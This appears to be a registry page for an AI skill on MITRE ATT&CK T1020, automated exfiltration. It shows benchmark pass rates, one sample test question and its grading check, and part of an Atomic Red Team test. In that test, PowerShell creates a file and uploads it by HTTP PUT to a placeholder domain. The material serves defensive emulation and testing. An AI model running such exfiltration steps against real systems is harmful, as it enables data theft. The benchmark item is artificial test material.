Loading skill
Install any skill in seconds. Free to start, no credit card required.
Get Started Free →cyberstrikeus/T1020_automated-exfiltration
Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.
Passed 20 of 25 test cases with the skill, and 8 of 25 without it.
and 9 more in the full report
12 fixed8 passed either way5 still failing0 broke
Tokens, turns and time describe resource use, not a dollar price.
One of 12 test cases the skill fixed. Same model, same prompt, with and without the skill.
Which operating system environments and infrastructure components are formally listed as target platforms for MITRE ATT&CK technique T1020?
| Checked | Without skill | With skill |
|---|---|---|
| Lists Linux, macOS, Network Devices, and Windows as target platforms. | Missed | Passed |
The instructions your model reads when the skill loads.
Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.
When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol.
Platforms: Linux, macOS, Network Devices, Windows
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Creates a text file Tries to upload to a server via HTTP PUT method with ContentType Header Deletes a created file
Supported Platforms: windows
$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
test cases passed, vs 8 / 25 without
More skills from the same source and nearby in the registry, with their headline benchmark lift.